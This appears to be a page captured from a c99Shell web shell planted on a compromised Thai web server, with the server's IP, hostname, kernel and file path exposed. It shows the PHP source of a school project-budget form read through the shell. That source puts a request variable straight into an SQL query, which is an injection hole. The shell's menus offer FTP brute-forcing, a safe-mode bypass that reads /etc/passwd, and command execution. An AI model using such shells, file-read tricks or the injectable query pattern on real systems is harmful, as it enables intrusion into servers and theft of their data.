110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/teacher_aj_viratt/Project&Acc/ drwxr-xr-x Free 52.4 GB of 127.8 GB (41%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

session_start();

 if (session_is_registered("valid_user"))

 {

 $Username = $valid_user;

include("../../include/FunctionDB.php");

include("../../include/Function.php");

ConnectDB();

$sql =  " SELECT * FROM  project_type_tb Where Project_code='$Project_code' ";

$result = mysql_query($sql) or die("Select Has Error").mysql_error();

$rs = mysql_fetch_array($result);

?>

<html>

<head>

<title>Display Project</title>

<link rel="stylesheet" href="cart4.css" type="text/css">

<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style type="text/css">

<!--

.style14 {font-family: Tahoma; font-size: 12px; }

.style15 {color: #003366}

.style16 {font-family: Tahoma; font-size: 12px; color: #003366; }

.style17 {font-family: Tahoma; font-size: 16px; }

.style18 {font-family: Tahoma}

.style6 {font-size: 14px}

-->

</style>

</head>



<body bgcolor="#F7F5EC">

<table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E0E0E0">

  <tr bgcolor="#ECD9C6">

    <td height="31" colspan="3" bgcolor="#0066CC"><img src="../../Image/Paninglogo.jpg" width="550" height="71"></td>

  </tr>

  <tr bgcolor="#ECD9C6">

    <td height="31" colspan="3"><div align="center"><strong><font color="#000000" size="4" face="Tahoma">аѕФиБЛСЗўйНГТВЕРаНХВґўН§бј№ґУа№Ф№ЎТГ </font></strong></div></td>

  </tr>

  <form action="InsertProject.php" method="post">

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ГЛСКЛ№иЗВ§Т№</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist_1];?></font> </td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ГЛСКбј№</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist];?></font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#000066" size="2" face="Tahoma">ЄЧиНЛСЗўйНбј№ґУа№Ф№ЎТГ</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_plan];?></font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#000066" size="2" face="Tahoma">ЄЧиН</font><font color="#003366" size="2" face="Tahoma">ўйНбј№ґУа№Ф№ЎТГ</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist_2];?></font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td width="26%"><div align="center"><font color="#000066" size="2" face="Tahoma">ГТВЕРаНХВґўН§бј№ґУа№Ф№ЎТГ</font></div></td>

      <td width="1%" bordercolor="#006699">&nbsp;</td>

      <td width="73%" bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">

        <input name="Project_name" type="text" id="Project_name" size="60">

      </font> </td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="22"><div align="center"><font color="#003366" size="2" face="Tahoma">ЄЧиНјЩйаєФЎ</font></div></td>

      <td bordercolor="#006699"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>

      <td align="center" bordercolor="#006699"><div align="left"><strong><font color="#003366" size="2" face="Tahoma">

          <select name="Teacher_code" id="Teacher_code">

            <?php

             $strSQL2 = "SELECT * FROM personal_tb Where Permision='2' Order by Teacher_name ";

             $result2 = mysql_query($strSQL2);

                 while( $rs2 = mysql_fetch_array($result2))

                {

                 echo"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";

                }

          ?>

          </select>

      </font> </strong></div></td>

    </tr>

    <tr bordercolor="#99CCFF">

      <td bgcolor="#EEEEEE"><div align="center" class="style15"><font size="2" face="Tahoma, MS Sans Serif">ЛЕСЎКЩµГ</font></div></td>

      <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>

      <td bgcolor="#EEEEEE"><select name="Course_code" id="Course_code">

          <?php

            $strSQL = "SELECT * FROM course_tb ";

            $result1 = mysql_query($strSQL);

                 while( $rss = mysql_fetch_array($result1))

                {

                echo"<option value=\"$rss[Course_code]\" ><b>$rss[Course_name]</b></option>\n";

                }

          ?>

                    </select>

          <font color="#000000" size="2" face="Tahoma">»Х 

          <input name="Fee" type="text" id="Fee" size="3">

        </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ЛБЗґа§Ф№</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Percent_ans];?></font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td bgcolor="#EEEEEE"><div align="center"><font color="#003366" size="2" face="Tahoma">ЗС№·ХиаГФиБґУа№Ф№ЎТГ</font></div></td>

      <td>&nbsp;</td>

      <td><div align="left"> <font size="2" face="Tahoma">ЗС№аГФиБµй№ </font> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Date_start];?></font><font size="2" face="Tahoma">&nbsp;&nbsp;ЗС№КФй№КШґ </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Date_finish];?></font></div></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#003366" size="2" face="Tahoma">»Х§є»ГРБТі ѕ.И.</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Budget_Year];?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#003366" size="2" face="Tahoma">»ХЎТГИЦЎЙТ ѕ.И.</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Term];?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td><div align="center"><font color="#003366" size="2" face="Tahoma">ЎЕШиБа»йТЛБТВ ЁУ№З№</font></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#003366" size="2" face="Tahoma">

        <input name="Period" type="text" id="Period" size="30">

      </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="140"><div align="center"><span class="style6"><font color="#003366" face="Tahoma">§є»ГРБТібµиЕРаґЧН№</font></span></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td bordercolor="#006699"><table width="489" border="0" align="center" cellpadding="0" cellspacing="1">

          <tr>

            <th width="99" scope="col"><div align="center" class="style16"> <font size="2" face="Tahoma">БЎГТ¤Б</font></div></th>

            <th width="121" scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[January]?></font> єТ·</div></th>

            <th width="110" scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">ЎГЇТ¤Б</font></div></th>

            <th width="100" scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[July]?></font> єТ·</div></th>

            <th width="37" scope="col">&nbsp;</th>

          </tr>

          <tr>

            <th scope="col"><div align="center" class="style15"><span class="style14"><font size="2" face="Tahoma">ЎШБАТѕС№ё</font></span><font size="2" face="Tahoma">м</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[February]?></font> єТ· </div></th>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">КФ§ЛТ¤Б</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Augus]?></font> єТ· </div></th>

            <td>&nbsp;</td>

          </tr>

          <tr>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">БХ№Т¤Б</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[March]?></font> єТ· </div></th>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">ЎС№ВТВ№</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[September]?></font> єТ· </div></th>

            <td>&nbsp;</td>

          </tr>

          <tr>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">аБЙТВ№</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[April]?></font> єТ· </div></th>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">µШЕТ¤Б</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[October]?></font> єТ· </div></th>

            <td>&nbsp;</td>

          </tr>

          <tr>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">ѕДЙАТ¤Б</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[May]?></font> єТ· </div></th>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">ѕДИЁФЎТВ№</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[November]?></font> єТ· </div></th>

            <td>&nbsp;</td>

          </tr>

          <tr>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">БФ¶Ш№ТВ№</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[June]?></font> єТ· </div></th>

            <th scope="col"><div align="center" class="style15"><font size="2" face="Tahoma">ёС№ЗТ¤Б</font></div></th>

            <th scope="col"><div align="left" class="style14"> <font color="#0033CC" size="2" face="Tahoma"><? echo $rs[December]?></font> єТ· </div></th>

            <td>&nbsp;</td>

          </tr>

      </table></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="22"><div align="center"><span class="style6"><font color="#003366" face="Tahoma">ВНґГЗБ</font></span></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td align="center" bordercolor="#006699"><strong> <font color="#0033CC" face="Tahoma" class="style17"><span class="style18"><font color="#0033CC" face="Tahoma"><? echo $rs[Budget_use]?></font></span> єТ·</font> </strong></td>

    </tr>

    <tr bordercolor="#99CCFF">

      <td bgcolor="#EEEEEE"><div align="center" class="style15"><font size="2" face="Tahoma">ЗС№·ХиґУа№Ф№ЎТГ</font></div></td>

      <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>

      <td bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">ЗС№·Хи

            <select name="mDate" id="select" class="select" >

              <? getDay1to31();?>

        </select>

    аґЧН№

    <select name="mMonth" id="select2" class="select">

      <? getThaiMonth();?>

    </select>

    »Х ѕ.И.

    <input name="mYear" type="text" id="mYear" size="4" class="input" >

      </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="22"><div align="center"></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td align="center" bordercolor="#006699"><div align="left"><strong><font color="#003366" size="2" face="Tahoma">

      </font> </strong></div></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="22"><div align="center"><span class="style6"><font color="#003366" size="2" face="Tahoma">ЁУ№З№а§Ф№·ХигЄй</font></span></div></td>

      <td bordercolor="#006699">&nbsp;</td>

      <td align="center" bordercolor="#006699"><div align="left"><strong><font color="#003366" size="2" face="Tahoma">

 <input name="Budget_use" type="text" id="Budget_use" size="10">

 єТ· </font> </strong></div></td>

    </tr>

    <tr bgcolor="#ECD9C6">

      <td colspan="3"><div align="center">

          <input name="Orderlist_1" type="hidden" id="Orderlist_1" value="<? echo $rs[Orderlist_1]?>">

          <input name="Orderlist" type="hidden" id="Orderlist" value="<? echo $rs[Orderlist]?>">

          <input name="Project_plan" type="hidden" id="Project_plan" value="<? echo $rs[Project_plan]?>">

          <input name="Orderlist_2" type="hidden" id="Orderlist_2" value="<? echo $rs[Orderlist_2]?>">

          <input name="Percent_ans" type="hidden" id="Percent_ans" value="<? echo $rs[Percent_ans]?>">

          <input name="Budget_Year" type="hidden" id="Budget_Year" value="<? echo $rs[Budget_Year]?>">

          <input name="Term" type="hidden" id="Term" value="<? echo $rs[Term]?>">

          <input name="Project_code" type="hidden" id="Project_code" value="<? echo $rs[Project_code]?>">

          <input type="submit" name="Submit3" value="    аѕФиБ    ">

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

      <input type="reset" name="Submit22" value="  аГФиБгЛБи ">

      </div></td>

    </tr>

  </form>

</table>

<table width="79%" border="0" align="center" cellpadding="0" cellspacing="0">

  <tr>

    <td>&nbsp;</td>

  </tr>

  <tr> 

    <td><div align="center">        &nbsp;</div></td>

  </tr>

</table>

<p>&nbsp;</p>

</body>

</html>

<?php 

    }

else

{

    echo"<body bgcolor=\"#CCCCCC\">";

     echo"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n";

     echo"<center>";

      echo"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";

      echo"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";

      echo"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> ¤ШідБиБКФ·ёмгЄй§Т№</font>";

      echo"</center>";

      echo"</body>";

} 

?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: